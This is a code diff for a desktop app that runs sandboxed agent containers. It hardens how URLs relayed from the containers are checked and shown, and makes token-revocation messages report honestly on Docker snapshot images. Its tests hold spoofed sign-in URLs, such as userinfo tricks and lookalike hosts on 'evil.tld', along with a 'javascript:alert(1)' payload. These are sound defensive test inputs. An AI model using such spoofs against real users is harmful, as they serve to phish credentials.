expect(useAppState.getState().toasts.length).toBeGreaterThan(0),
|
||||
);
|
||||
return useAppState.getState().toasts[0];
|
||||
}
|
||||
|
||||
it("disables Authenticate and says why when nothing is running", async () => {
|
||||
projects = [baseProject];
|
||||
render(<SharedAuthSettings />);
|
||||
@@ -123,4 +145,48 @@ describe("SharedAuthSettings", () => {
|
||||
await screen.findByText("keyring backend unavailable");
|
||||
expect(screen.queryByRole("button", { name: "Revoke" })).not.toBeInTheDocument();
|
||||
});
|
||||
|
||||
// ── Revoking has to tell the truth ──────────────────────────────────────
|
||||
// Deleting the keychain entry is only part of it. `docker commit` copies the
|
||||
// token into each project's snapshot image, and an image outlives every
|
||||
// container built from it — so a "removed" message while a snapshot still
|
||||
// holds a live ~1-year credential is the wrong thing to say.
|
||||
|
||||
it("says so plainly when snapshot images were cleared too", async () => {
|
||||
const toast = await revoke({
|
||||
snapshots_scrubbed: ["triple-c-snapshot-p1:latest"],
|
||||
});
|
||||
expect(toast.kind).toBe("success");
|
||||
expect(toast.message).toMatch(/1 snapshot image/);
|
||||
});
|
||||
|
||||
it("reports an error, not success, when an image still holds the token", async () => {
|
||||
const toast = await revoke({
|
||||
snapshots_failed: ["triple-c-snapshot-p1:latest: image has child images"],
|
||||
});
|
||||
expect(toast.kind).toBe("error");
|
||||
expect(toast.message).toMatch(/still in some images/i);
|
||||
expect(toast.detail).toMatch(/triple-c-snapshot-p1/);
|
||||
});
|
||||
|
||||
it("does not claim the images are clean when Docker could not be reached", async () => {
|
||||
const toast = await revoke({ docker_unavailable: "Docker is not running" });
|
||||
expect(toast.kind).toBe("error");
|
||||
expect(toast.detail).toMatch(/Docker could not be reached/);
|
||||
});
|
||||
|
||||
it("mentions a retained image layer without calling the revoke a failure", async () => {
|
||||
const toast = await revoke({
|
||||
snapshots_scrubbed: ["triple-c-snapshot-p1:latest"],
|
||||
snapshots_superseded: ["triple-c-snapshot-p1:latest"],
|
||||
});
|
||||
expect(toast.kind).toBe("success");
|
||||
expect(toast.detail).toMatch(/still on disk because a container is running/);
|
||||
});
|
||||
|
||||
it("still succeeds plainly when there was nothing to scrub", async () => {
|
||||
const toast = await revoke({});
|
||||
expect(toast.kind).toBe("success");
|
||||
expect(toast.message).toBe("Shared Claude token removed from the keychain.");
|
||||
});
|
||||
});
|
||||
|
||||
@@ -64,13 +64,52 @@ export default function SharedAuthSettings() {
|
||||
const handleRevoke = async () => {
|
||||
setRevoking(true);
|
||||
try {
|
||||
await clearClaudeToken();
|
||||
const outcome = await clearClaudeToken();
|
||||
setConfirmRevoke(false);
|
||||
await refresh();
|
||||
|
||||
// The keychain entry is gone either way. What matters here is the copy of
|
||||
// the token that `docker commit` baked into each project's snapshot
|
||||
// image: that one outlives every container, and `docker image inspect`
|
||||
// will keep printing it until the image is rewritten. If that could not
|
||||
// be done, the revocation is incomplete and saying "removed" would be a
|
||||
// lie.
|
||||
if (outcome.docker_unavailable) {
|
||||
pushToast({
|
||||
kind: "error",
|
||||
message: "Token removed from the keychain, but snapshots were not checked.",
|
||||
detail:
|
||||
`Docker could not be reached (${outcome.docker_unavailable}), so any snapshot image ` +
|
||||
"built before this version may still contain the token in its environment. " +
|
||||
"Start Docker and revoke again to clear them.",
|
||||
});
|
||||
} else if (outcome.snapshots_failed.length > 0) {
|
||||
pushToast({
|
||||
kind: "error",
|
||||
message: "Token removed from the keychain, but it is still in some images.",
|
||||
detail:
|
||||
`${outcome.snapshots_failed.length} snapshot image(s) could not be rewritten and ` +
|
||||
"still contain the token, readable via `docker image inspect`. Reset those " +
|
||||
`projects to remove the images. Details: ${outcome.snapshots_failed.join("; ")}`,
|
||||
});
|
||||
} else if (outcome.snapshots_scrubbed.length > 0) {
|
||||
pushToast({
|
||||
kind: "success",
|
||||
message: `Shared Claude token removed, and cleared from ${outcome.snapshots_scrubbed.length} snapshot image(s).`,
|
||||
detail:
|
||||
outcome.snapshots_superseded.length > 0
|
||||
? "The pre-rewrite image layer for " +
|
||||
`${outcome.snapshots_superseded.join(", ")} is still on disk because a ` +
|
||||
"container is running from it. It goes away once that project is restarted " +
|
||||
"(which recreates the container) and Docker prunes the leftover."
|
||||
: undefined,
|
||||
});
|
||||
} else {
|
||||
pushToast({
|
||||
kind: "success",
|
||||
message: "Shared Claude token removed from the keychain.",
|
||||
});
|
||||
}
|
||||
} catch (e) {
|
||||
pushToast({
|
||||
kind: "error",
|
||||
@@ -220,6 +259,13 @@ export default function SharedAuthSettings() {
|
||||
container starts. Existing running containers keep working until they are
|
||||
restarted.
|
||||
</p>
|
||||
<p className="mt-2 text-[13px] text-[var(--text-secondary)] leading-snug">
|
||||
Each project’s snapshot image is also rewritten, because{" "}
|
||||
<code className="font-mono">docker commit</code> copies the token into it
|
||||
and an image outlives every container built from it. If any image
|
||||
cannot be rewritten you will be told which, and the token stays readable
|
||||
in it until that project is Reset.
|
||||
</p>
|
||||
</Modal>
|
||||
)}
|
||||
</div>
|
||||
|
||||
@@ -10,6 +10,12 @@ import { useAppState } from "../../store/appState";
|
||||
import { awsSsoRefresh, uploadHostFileToTerminal } from "../../lib/tauri-commands";
|
||||
import { getCurrentWebview } from "@tauri-apps/api/webview";
|
||||
import { UrlDetector } from "../../lib/urlDetector";
|
||||
import {
|
||||
RelayRateLimiter,
|
||||
URL_RELAY_OSC,
|
||||
parseUrlRelayOsc,
|
||||
sanitizeRelayUrl,
|
||||
} from "../../lib/urlRelay";
|
||||
import UrlToast from "./UrlToast";
|
||||
import { trimSelection } from "./trimSelection";
|
||||
import TerminalContextMenu from "./TerminalContextMenu";
|
||||
@@ -37,7 +43,41 @@ export default function TerminalView({ sessionId, active }: Props) {
|
||||
(s) => s.sessions.find((sess) => sess.id === sessionId)?.projectId
|
||||
);
|
||||
|
||||
const [detectedUrl, setDetectedUrl] = useState<string | null>(null);
|
||||
// One toast slot, two producers: the heuristic long-URL detector and the
|
||||
// container's explicit "open this in the host browser" relay (OSC 7777).
|
||||
// Sharing the slot keeps them from stacking on top of each other.
|
||||
//
|
||||
// Both producers read the container's PTY output, so both are untrusted, and
|
||||
// both must go through `sanitizeRelayUrl` before anything is stored here —
|
||||
// see `promptUrl` below, which is the only writer.
|
||||
//
|
||||
// `seq` exists because the slot is shared and long-lived: a second prompt
|
||||
// replacing a first would otherwise mutate the toast in place, swapping the
|
||||
// text under a user who is mid-read and mid-click. Keying the toast on it
|
||||
// remounts the component, so a new URL is unmistakably a new prompt.
|
||||
const [urlPrompt, setUrlPrompt] = useState<{
|
||||
url: string;
|
||||
label: string;
|
||||
seq: number;
|
||||
} | null>(null);
|
||||
const promptSeqRef = useRef(0);
|
||||
const relayLimiterRef = useRef(new RelayRateLimiter());
|
||||
|
||||
/**
|
||||
* The only writer of the prompt slot. Re-validates whatever the caller
|
||||
* found: the OSC relay branch has already been through `parseUrlRelayOsc`,
|
||||
* but the heuristic detector branch has been through nothing at all, and a
|
||||
* raw regex match is exactly the input `sanitizeRelayUrl` exists to refuse.
|
||||
*/
|
||||
const promptUrl = useCallback((raw: string, label: string) => {
|
||||
const url = sanitizeRelayUrl(raw);
|
||||
if (!url) {
|
||||
console.warn("Refusing to prompt for a URL that failed validation");
|
||||
return;
|
||||
}
|
||||
promptSeqRef.current += 1;
|
||||
setUrlPrompt({ url, label, seq: promptSeqRef.current });
|
||||
}, []);
|
||||
const [imagePasteMsg, setImagePasteMsg] = useState<string | null>(null);
|
||||
const [isAtBottom, setIsAtBottom] = useState(true);
|
||||
const [isAutoFollow, setIsAutoFollow] = useState(true);
|
||||
@@ -151,9 +191,19 @@ export default function TerminalView({ sessionId, active }: Props) {
|
||||
// Web links addon — opens URLs in host browser via Tauri, with a permissive regex
|
||||
// that matches URLs even if they lack trailing path segments (the default regex
|
||||
// misses OAuth URLs that end mid-line).
|
||||
const urlRegex = /https?:\/\/[^\s'"\x07]+/;
|
||||
// eslint-disable-next-line no-control-regex
|
||||
const urlRegex = /https?:\/\/[^\s'"`<>\x00-\x20\x7f]+/;
|
||||
const webLinksAddon = new WebLinksAddon((_event, uri) => {
|
||||
openUrl(uri).catch((e) => console.error("Failed to open URL:", e));
|
||||
// Same sink, same rule: what xterm matched came off the container's
|
||||
// output, so it is validated before it reaches the OS opener. A click
|
||||
// here is a deliberate act on visible text, but "visible" is exactly
|
||||
// what a userinfo-spoofed URL subverts.
|
||||
const safe = sanitizeRelayUrl(uri);
|
||||
if (!safe) {
|
||||
console.warn("Refusing to open a link that failed validation");
|
||||
return;
|
||||
}
|
||||
openUrl(safe).catch((e) => console.error("Failed to open URL:", e));
|
||||
}, { urlRegex });
|
||||
term.loadAddon(webLinksAddon);
|
||||
|
||||
@@ -212,6 +262,31 @@ export default function TerminalView({ sessionId, active }: Props) {
|
||||
return true;
|
||||
});
|
||||
|
||||
// URL relay (OSC 7777) — a CLI inside the container asked for a URL to be
|
||||
// opened in a browser. The container has none; `triple-c-open` (installed
|
||||
// as xdg-open / $BROWSER / sensible-browser / ...) forwards the request
|
||||
// here instead.
|
||||
//
|
||||
// The container is untrusted, so this never opens anything by itself:
|
||||
// parseUrlRelayOsc enforces the http/https allowlist and the payload is
|
||||
// rate-limited, then the user gets the same confirmation toast the
|
||||
// long-URL detector uses. One click is a small price for not handing a
|
||||
// sandboxed agent a "make the host's logged-in browser fetch this"
|
||||
// primitive.
|
||||
const relayDisposable = term.parser.registerOscHandler(URL_RELAY_OSC, (data) => {
|
||||
const url = parseUrlRelayOsc(data);
|
||||
if (!url) {
|
||||
console.warn("URL relay: rejected request from container");
|
||||
return true; // consumed either way — never let it reach the screen
|
||||
}
|
||||
if (!relayLimiterRef.current.allow(url)) {
|
||||
console.warn("URL relay: rate-limited", url);
|
||||
return true;
|
||||
}
|
||||
promptUrl(url, "Container asked to open a URL");
|
||||
return true;
|
||||
});
|
||||
|
||||
// Handle user input -> backend
|
||||
const inputDisposable = term.onData((data) => {
|
||||
sendInput(sessionId, data);
|
||||
@@ -295,7 +370,9 @@ export default function TerminalView({ sessionId, active }: Props) {
|
||||
// Handle backend output -> terminal
|
||||
let aborted = false;
|
||||
|
||||
const detector = new UrlDetector((url) => setDetectedUrl(url));
|
||||
const detector = new UrlDetector((url) =>
|
||||
promptUrl(url, "Long URL detected"),
|
||||
);
|
||||
detectorRef.current = detector;
|
||||
|
||||
const SSO_MARKER = "###TRIPLE_C_SSO_REFRESH###";
|
||||
@@ -369,6 +446,7 @@ export default function TerminalView({ sessionId, active }: Props) {
|
||||
ssoTriggeredRef.current = false;
|
||||
ssoBufferRef.current = "";
|
||||
osc52Disposable.dispose();
|
||||
relayDisposable.dispose();
|
||||
inputDisposable.dispose();
|
||||
scrollDisposable.dispose();
|
||||
selectionDisposable.dispose();
|
||||
@@ -425,10 +503,10 @@ export default function TerminalView({ sessionId, active }: Props) {
|
||||
|
||||
// Auto-dismiss toast after 30 seconds
|
||||
useEffect(() => {
|
||||
if (!detectedUrl) return;
|
||||
const timer = setTimeout(() => setDetectedUrl(null), 30_000);
|
||||
if (!urlPrompt) return;
|
||||
const timer = setTimeout(() => setUrlPrompt(null), 30_000);
|
||||
return () => clearTimeout(timer);
|
||||
}, [detectedUrl]);
|
||||
}, [urlPrompt]);
|
||||
|
||||
// Auto-dismiss image paste message after 3 seconds
|
||||
useEffect(() => {
|
||||
@@ -438,13 +516,18 @@ export default function TerminalView({ sessionId, active }: Props) {
|
||||
}, [imagePasteMsg]);
|
||||
|
||||
const handleOpenUrl = useCallback(() => {
|
||||
if (detectedUrl) {
|
||||
openUrl(detectedUrl).catch((e) =>
|
||||
console.error("Failed to open URL:", e),
|
||||
);
|
||||
setDetectedUrl(null);
|
||||
if (!urlPrompt) return;
|
||||
// Validated again at the sink. `promptUrl` is the only writer and already
|
||||
// sanitizes, so this can only fail if that invariant is broken — which is
|
||||
// precisely when it matters that the last thing before `openUrl` checks.
|
||||
const safe = sanitizeRelayUrl(urlPrompt.url);
|
||||
setUrlPrompt(null);
|
||||
if (!safe) {
|
||||
console.warn("Refusing to open a URL that failed validation");
|
||||
return;
|
||||
}
|
||||
}, [detectedUrl]);
|
||||
openUrl(safe).catch((e) => console.error("Failed to open URL:", e));
|
||||
}, [urlPrompt]);
|
||||
|
||||
const handleScrollToBottom = useCallback(() => {
|
||||
const term = termRef.current;
|
||||
@@ -516,11 +599,14 @@ export default function TerminalView({ sessionId, active }: Props) {
|
||||
ref={terminalContainerRef}
|
||||
className={`w-full h-full relative ${active ? "" : "hidden"}`}
|
||||
>
|
||||
{detectedUrl && (
|
||||
{urlPrompt && (
|
||||
<UrlToast
|
||||
url={detectedUrl}
|
||||
// A different URL is a different prompt, not an edit of this one.
|
||||
key={urlPrompt.seq}
|
||||
url={urlPrompt.url}
|
||||
label={urlPrompt.label}
|
||||
onOpen={handleOpenUrl}
|
||||
onDismiss={() => setDetectedUrl(null)}
|
||||
onDismiss={() => setUrlPrompt(null)}
|
||||
/>
|
||||
)}
|
||||
{imagePasteMsg && (
|
||||
|
||||
@@ -0,0 +1,61 @@
|
||||
import { describe, it, expect, vi } from "vitest";
|
||||
import { render, screen } from "@testing-library/react";
|
||||
import UrlToast from "./UrlToast";
|
||||
|
||||
/**
|
||||
* The toast is the *only* thing standing between a container-chosen URL and
|
||||
* the host's browser, so what it shows has to be what will be opened — and the
|
||||
* part that decides that is the origin.
|
||||
*/
|
||||
describe("UrlToast", () => {
|
||||
const noop = () => {};
|
||||
|
||||
it("shows the origin separately from the truncatable remainder", () => {
|
||||
render(
|
||||
<UrlToast
|
||||
url="https://github.com/login/device?code=ABCD-EFGH"
|
||||
onOpen={noop}
|
||||
onDismiss={noop}
|
||||
/>,
|
||||
);
|
||||
expect(screen.getByTestId("url-toast-origin")).toHaveTextContent(
|
||||
"https://github.com",
|
||||
);
|
||||
expect(screen.getByTestId("url-toast-rest")).toHaveTextContent(
|
||||
"/login/device?code=ABCD-EFGH",
|
||||
);
|
||||
});
|
||||
|
||||
it("keeps the origin intact when the path is long enough to push it out", () => {
|
||||
const url = `https://evil.tld/${"padding/".repeat(200)}end`;
|
||||
render(<UrlToast url={url} onOpen={noop} onDismiss={noop} />);
|
||||
// The registrable domain must be present in its own element, whole. A
|
||||
// single ellipsised line would render this and show only the padding.
|
||||
expect(screen.getByTestId("url-toast-origin")).toHaveTextContent(
|
||||
"https://evil.tld",
|
||||
);
|
||||
});
|
||||
|
||||
it("exposes the whole URL as a tooltip", () => {
|
||||
const url = "https://example.com/a/b?c=d";
|
||||
render(<UrlToast url={url} onOpen={noop} onDismiss={noop} />);
|
||||
expect(screen.getByTestId("url-toast-url")).toHaveAttribute("title", url);
|
||||
});
|
||||
|
||||
it("announces itself, so a replacement prompt is not silent", () => {
|
||||
render(
|
||||
<UrlToast url="https://example.com/" onOpen={noop} onDismiss={noop} />,
|
||||
);
|
||||
expect(screen.getByRole("status")).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it("opens only via the button, never on its own", () => {
|
||||
const onOpen = vi.fn();
|
||||
render(
|
||||
<UrlToast url="https://example.com/" onOpen={onOpen} onDismiss={noop} />,
|
||||
);
|
||||
expect(onOpen).not.toHaveBeenCalled();
|
||||
screen.getByRole("button", { name: "Open" }).click();
|
||||
expect(onOpen).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
});
|
||||
@@ -1,13 +1,44 @@
|
||||
import { urlOrigin } from "../../lib/urlRelay";
|
||||
|
||||
interface Props {
|
||||
/** Already validated by `sanitizeRelayUrl` — this component never opens it. */
|
||||
url: string;
|
||||
/** Heading above the URL. Says why the toast appeared. */
|
||||
label?: string;
|
||||
onOpen: () => void;
|
||||
onDismiss: () => void;
|
||||
}
|
||||
|
||||
export default function UrlToast({ url, onOpen, onDismiss }: Props) {
|
||||
/**
|
||||
* Confirmation prompt for a URL something inside the container wants opened in
|
||||
* the host browser.
|
||||
*
|
||||
* The origin is rendered separately from the rest of the URL and is never
|
||||
* truncated. A single `nowrap`/`ellipsis` line looks tidy but is a spoofing
|
||||
* primitive: `https://accounts.example.com/....(600 chars)....@evil.tld/` shows
|
||||
* the reassuring half and hides the half that decides where the request goes.
|
||||
* `sanitizeRelayUrl` already rejects the userinfo form; showing the origin in
|
||||
* full is the belt to that braces, and it also covers the plainer case of a
|
||||
* long path pushing the host out of view.
|
||||
*
|
||||
* Render this with a `key` that changes whenever the URL does. The prompt slot
|
||||
* is shared and long-lived, so without one React mutates the node in place: the
|
||||
* text swaps with no animation, and a user reading URL A can click Open on URL
|
||||
* B that arrived a second later.
|
||||
*/
|
||||
export default function UrlToast({
|
||||
url,
|
||||
label = "Long URL detected",
|
||||
onOpen,
|
||||
onDismiss,
|
||||
}: Props) {
|
||||
const origin = urlOrigin(url);
|
||||
const rest = origin && url.startsWith(origin) ? url.slice(origin.length) : url;
|
||||
|
||||
return (
|
||||
<div
|
||||
className="animate-slide-down"
|
||||
role="status"
|
||||
style={{
|
||||
position: "absolute",
|
||||
top: 12,
|
||||
@@ -33,19 +64,46 @@ export default function UrlToast({ url, onOpen, onDismiss }: Props) {
|
||||
marginBottom: 2,
|
||||
}}
|
||||
>
|
||||
Long URL detected
|
||||
{label}
|
||||
</div>
|
||||
<div
|
||||
data-testid="url-toast-url"
|
||||
title={url}
|
||||
style={{
|
||||
fontSize: 12,
|
||||
fontFamily: "monospace",
|
||||
color: "var(--text-primary)",
|
||||
display: "flex",
|
||||
alignItems: "baseline",
|
||||
minWidth: 0,
|
||||
}}
|
||||
>
|
||||
{origin && (
|
||||
<span
|
||||
data-testid="url-toast-origin"
|
||||
style={{
|
||||
fontWeight: 700,
|
||||
// The part that decides where the credentials go. It wraps
|
||||
// rather than truncates, whatever else has to give.
|
||||
flexShrink: 0,
|
||||
overflowWrap: "anywhere",
|
||||
}}
|
||||
>
|
||||
{origin}
|
||||
</span>
|
||||
)}
|
||||
<span
|
||||
data-testid="url-toast-rest"
|
||||
style={{
|
||||
color: "var(--text-secondary)",
|
||||
overflow: "hidden",
|
||||
textOverflow: "ellipsis",
|
||||
whiteSpace: "nowrap",
|
||||
minWidth: 0,
|
||||
}}
|
||||
>
|
||||
{url}
|
||||
{rest}
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
@@ -1,5 +1,9 @@
|
||||
import { describe, it, expect } from "vitest";
|
||||
import { authErrorMessage, extractSignInUrl } from "./useClaudeAuth";
|
||||
import {
|
||||
authErrorMessage,
|
||||
extractSignInUrl,
|
||||
pickSignInUrl,
|
||||
} from "./useClaudeAuth";
|
||||
|
||||
describe("extractSignInUrl", () => {
|
||||
it("finds the authorize URL in realistic setup-token output", () => {
|
||||
@@ -35,6 +39,108 @@ describe("extractSignInUrl", () => {
|
||||
const text = `https://claude.ai/oauth/authorize?code=tr\n${full}\n`;
|
||||
expect(extractSignInUrl(text)).toBe(full);
|
||||
});
|
||||
|
||||
// ── The spoof this function exists to refuse ──────────────────────────────
|
||||
// The transcript is container output. Everything below is a URL a misbehaving
|
||||
// sandboxed agent can print at will, and the modal renders whatever comes
|
||||
// back under a heading that says "Sign in with Anthropic".
|
||||
|
||||
it("rejects userinfo that makes an attacker's host read as Anthropic's", () => {
|
||||
// Displays as `https://claude.ai...` in anything that truncates; navigates
|
||||
// to evil.tld and harvests the real credential.
|
||||
const spoof =
|
||||
"https://claude.ai@evil.tld/oauth/authorize?" + "padding=".repeat(40);
|
||||
expect(extractSignInUrl(`Use this url to sign in:\n${spoof}\n`)).toBeNull();
|
||||
});
|
||||
|
||||
it("does not let a longer hostile URL displace the real one", () => {
|
||||
const real = "https://claude.ai/oauth/authorize?code=true&client_id=abc";
|
||||
const longer =
|
||||
"https://evil.tld/oauth/authorize?" + "x".repeat(real.length * 2);
|
||||
expect(extractSignInUrl(`${real}\n${longer}\n`)).toBe(real);
|
||||
// ...and the same when the hostile one is printed first.
|
||||
expect(extractSignInUrl(`${longer}\n${real}\n`)).toBe(real);
|
||||
});
|
||||
|
||||
it("rejects a host that merely contains an Anthropic domain", () => {
|
||||
expect(
|
||||
extractSignInUrl("Sign in: https://claude.ai.evil.tld/oauth/authorize\n"),
|
||||
).toBeNull();
|
||||
expect(
|
||||
extractSignInUrl("Sign in: https://evil.tld/claude.ai/oauth/authorize\n"),
|
||||
).toBeNull();
|
||||
});
|
||||
|
||||
it("rejects non-http schemes and control characters smuggled into the link", () => {
|
||||
expect(extractSignInUrl("Open javascript:alert(1) to continue\n")).toBeNull();
|
||||
expect(
|
||||
extractSignInUrl("https://claude.ai/oauth\u0000/authorize\n"),
|
||||
).toBe("https://claude.ai/oauth");
|
||||
});
|
||||
|
||||
it("takes the first legitimate link, not the longest", () => {
|
||||
const first = "https://claude.ai/oauth/authorize?code=true";
|
||||
const second = "https://platform.claude.com/oauth/authorize?code=true&more=1";
|
||||
expect(extractSignInUrl(`${first}\n${second}\n`)).toBe(first);
|
||||
});
|
||||
|
||||
// ── Why the scraper is only the fallback ─────────────────────────────────
|
||||
// `claude setup-token` emits the URL as an OSC 8 hyperlink and slices the
|
||||
// *visible* text of it to the terminal width, so the transcript holds five
|
||||
// 80-character pieces of a 346-character URL. Each piece is a valid,
|
||||
// Anthropic-hosted, oauth-looking URL — and none of them authorises
|
||||
// anything.
|
||||
|
||||
it("cannot recover a URL the CLI sliced across lines, which is why the hyperlink wins", () => {
|
||||
const slices = [
|
||||
FULL_URL.slice(0, 80),
|
||||
FULL_URL.slice(80, 160),
|
||||
FULL_URL.slice(160, 240),
|
||||
FULL_URL.slice(240, 320),
|
||||
FULL_URL.slice(320),
|
||||
];
|
||||
const scraped = extractSignInUrl(slices.join("\n"));
|
||||
|
||||
// Documenting the limit, not endorsing it: the pieces share no prefix, so
|
||||
// the "extends the current pick" rule cannot join them, and guessing at
|
||||
// line joins on an untrusted stream is not on the table.
|
||||
expect(scraped).toBe(slices[0]);
|
||||
expect(scraped).not.toBe(FULL_URL);
|
||||
|
||||
// The hyperlink parameter carries the whole thing, and that is what the
|
||||
// hook prefers.
|
||||
expect(pickSignInUrl([FULL_URL])).toBe(FULL_URL);
|
||||
});
|
||||
});
|
||||
|
||||
/** The real sign-in URL, at its measured length (346 characters, Claude Code
|
||||
* 2.1.226). */
|
||||
const FULL_URL =
|
||||
"https://claude.com/cai/oauth/authorize?code=true&client_id=9d1c250a-e61b-44d9-88ed-5944d1962f5e&response_type=code&redirect_uri=https%3A%2F%2Fplatform.claude.com%2Foauth%2Fcode%2Fcallback&scope=user%3Ainference&code_challenge=RUX5MlWvwld1dmpvF_aPIJQWMBmffuJt4dOdL13zWAg&code_challenge_method=S256&state=su-x9PgZzvkBd3-um6G1llLNDgxptyO6HERvvCSrTbg";
|
||||
|
||||
describe("pickSignInUrl", () => {
|
||||
it("keeps a 346-character authorize URL intact", () => {
|
||||
expect(FULL_URL).toHaveLength(346);
|
||||
expect(pickSignInUrl([FULL_URL])).toBe(FULL_URL);
|
||||
});
|
||||
|
||||
it("applies the same host allowlist to a hyperlink target", () => {
|
||||
// An OSC 8 parameter is container output like anything else, and it is
|
||||
// never displayed — so it is the *easier* place to hide a hostile host.
|
||||
expect(pickSignInUrl(["https://evil.tld/cai/oauth/authorize"])).toBeNull();
|
||||
expect(
|
||||
pickSignInUrl(["https://claude.ai@evil.tld/oauth/authorize"]),
|
||||
).toBeNull();
|
||||
expect(pickSignInUrl(["javascript:alert(1)"])).toBeNull();
|
||||
expect(pickSignInUrl([])).toBeNull();
|
||||
});
|
||||
|
||||
it("does not let a later hyperlink displace the one already shown", () => {
|
||||
const real = `${FULL_URL}`;
|
||||
const spoof = "https://claude.com.evil.tld/cai/oauth/authorize?code=true";
|
||||
expect(pickSignInUrl([real, spoof])).toBe(real);
|
||||
expect(pickSignInUrl([spoof, real])).toBe(real);
|
||||
});
|
||||
});
|
||||
|
||||
describe("authErrorMessage", () => {
|
||||
|
||||
+103
-14
@@ -1,7 +1,10 @@
|
||||
import { useCallback, useEffect, useMemo, useRef, useState } from "react";
|
||||
import { listen, type UnlistenFn } from "@tauri-apps/api/event";
|
||||
import * as commands from "../lib/tauri-commands";
|
||||
import { ANTHROPIC_SIGN_IN_HOSTS, sanitizeRelayUrl } from "../lib/urlRelay";
|
||||
import type {
|
||||
ClaudeTokenCodeRejectedEvent,
|
||||
ClaudeTokenLinkEvent,
|
||||
ClaudeTokenOutputEvent,
|
||||
ClaudeTokenProgressEvent,
|
||||
} from "../lib/types";
|
||||
@@ -18,10 +21,17 @@ import type {
|
||||
/** Emitted by `auth_token_commands.rs`; payload shapes live in `lib/types.ts`. */
|
||||
const PROGRESS_EVENT = "claude-token-progress";
|
||||
const OUTPUT_EVENT = "claude-token-output";
|
||||
const LINK_EVENT = "claude-token-link";
|
||||
const CODE_REJECTED_EVENT = "claude-token-code-rejected";
|
||||
|
||||
/** Bound on the retained transcript. The tail is the interesting part. */
|
||||
const MAX_OUTPUT = 64 * 1024;
|
||||
|
||||
/** Bound on retained sign-in candidates. The backend already deduplicates
|
||||
* consecutive repeats; this stops a container that prints a fresh hyperlink
|
||||
* every frame from growing state without limit. */
|
||||
const MAX_LINKS = 16;
|
||||
|
||||
/**
|
||||
* Tauri rejects an `invoke` with the Rust `Err(String)` itself, and this
|
||||
* backend writes its errors as complete, actionable sentences ("The container
|
||||
@@ -37,31 +47,70 @@ export function authErrorMessage(e: unknown, fallback: string): string {
|
||||
}
|
||||
|
||||
/**
|
||||
* Pick the sign-in URL out of `claude setup-token`'s transcript.
|
||||
* Choose one sign-in URL from a list of candidates.
|
||||
*
|
||||
* Prefers an OAuth-looking URL, and among candidates prefers the longest: a
|
||||
* TUI repaints, and a repaint can land a truncated copy of the same URL in the
|
||||
* transcript. Longest-wins means a partial frame never replaces the full link.
|
||||
* **Every candidate is container output, so all of them are
|
||||
* attacker-controlled if the sandboxed agent misbehaves.** The winner is
|
||||
* rendered under a heading that says "Sign in with Anthropic" and handed to the
|
||||
* host browser, which makes this the highest-value URL in the app to spoof: a
|
||||
* user who follows it types their real Anthropic credentials into whatever it
|
||||
* resolves to. Three rules follow, and none of them are optional:
|
||||
*
|
||||
* - Every candidate goes through the shared {@link sanitizeRelayUrl}, with a
|
||||
* host allowlist. Only Anthropic's own domains can be a sign-in link;
|
||||
* userinfo (`https://claude.ai@evil.tld/...`) and control characters are
|
||||
* rejected there.
|
||||
* - The **first** surviving candidate wins. The previous rule was
|
||||
* longest-wins, which handed the choice to the attacker: pad a hostile URL
|
||||
* and it displaces the real one that came before it.
|
||||
* - The one exception is a candidate that *extends* the current pick, i.e.
|
||||
* starts with it. That is the case longest-wins existed for — a repainting
|
||||
* TUI can land a truncated copy of the same link in the transcript before
|
||||
* the complete one — and it cannot swap the origin, because a longer string
|
||||
* with the same prefix has the same host.
|
||||
*/
|
||||
export function extractSignInUrl(text: string): string | null {
|
||||
const matches = text.match(/https?:\/\/[^\s"'<>`]+/g);
|
||||
if (!matches) return null;
|
||||
|
||||
const cleaned = matches
|
||||
// Trailing punctuation belongs to the prose, not the URL.
|
||||
.map((url) => url.replace(/[.,;:!?)\]}>'"]+$/, ""))
|
||||
.filter((url) => url.length > "https://".length);
|
||||
export function pickSignInUrl(candidates: readonly string[]): string | null {
|
||||
const cleaned = candidates
|
||||
.map((url) => sanitizeRelayUrl(url, { allowHosts: ANTHROPIC_SIGN_IN_HOSTS }))
|
||||
.filter((url): url is string => url !== null);
|
||||
|
||||
const oauth = cleaned.filter((url) => /oauth|authorize|login/i.test(url));
|
||||
const pool = oauth.length > 0 ? oauth : cleaned;
|
||||
|
||||
let best: string | null = null;
|
||||
for (const url of pool) {
|
||||
if (best === null || url.length >= best.length) best = url;
|
||||
if (best === null || url.startsWith(best)) best = url;
|
||||
}
|
||||
return best;
|
||||
}
|
||||
|
||||
/**
|
||||
* Scrape a sign-in URL out of `claude setup-token`'s visible transcript.
|
||||
*
|
||||
* **This is the fallback, not the primary route.** The CLI emits the URL as an
|
||||
* OSC 8 hyperlink and slices the *visible* text of that hyperlink to the
|
||||
* terminal width — measured at 80 columns, a 346-character URL arrives as five
|
||||
* 80-character pieces on five lines. Nothing scraping the visible text can put
|
||||
* those back together: the pieces share no prefix, so the "extends the current
|
||||
* pick" rule cannot join them, and joining adjacent lines by guesswork on an
|
||||
* untrusted stream is exactly the sort of thing the rules above exist to
|
||||
* forbid. What comes out is the first 80 characters — a URL that parses, that
|
||||
* points at claude.com, and that cannot authorise anything.
|
||||
*
|
||||
* So the backend lifts the whole URL out of the hyperlink parameter and sends
|
||||
* it on `claude-token-link`, and {@link useClaudeTokenAcquisition} prefers that.
|
||||
* This remains for CLI versions that print a bare URL with no hyperlink at all,
|
||||
* where a URL narrow enough not to wrap is recovered correctly.
|
||||
*/
|
||||
export function extractSignInUrl(text: string): string | null {
|
||||
// eslint-disable-next-line no-control-regex
|
||||
const matches = text.match(/https?:\/\/[^\s"'`<>\x00-\x20\x7f]+/g);
|
||||
if (!matches) return null;
|
||||
|
||||
// Trailing punctuation belongs to the prose, not the URL.
|
||||
return pickSignInUrl(matches.map((url) => url.replace(/[.,;:!?)\]}>'"]+$/, "")));
|
||||
}
|
||||
|
||||
// ─────────────────────────────────────────────────────────────────────────────
|
||||
// Token presence
|
||||
// ─────────────────────────────────────────────────────────────────────────────
|
||||
@@ -114,6 +163,12 @@ export interface ClaudeTokenAcquisition {
|
||||
submitting: boolean;
|
||||
codeSubmitted: boolean;
|
||||
submitError: string | null;
|
||||
/**
|
||||
* How many codes `claude setup-token` has refused. Non-zero means the CLI is
|
||||
* still alive and waiting for another one — a recoverable state, not the end
|
||||
* of the flow.
|
||||
*/
|
||||
codeRejections: number;
|
||||
submitCode: (code: string) => Promise<boolean>;
|
||||
}
|
||||
|
||||
@@ -135,6 +190,13 @@ export function useClaudeTokenAcquisition(
|
||||
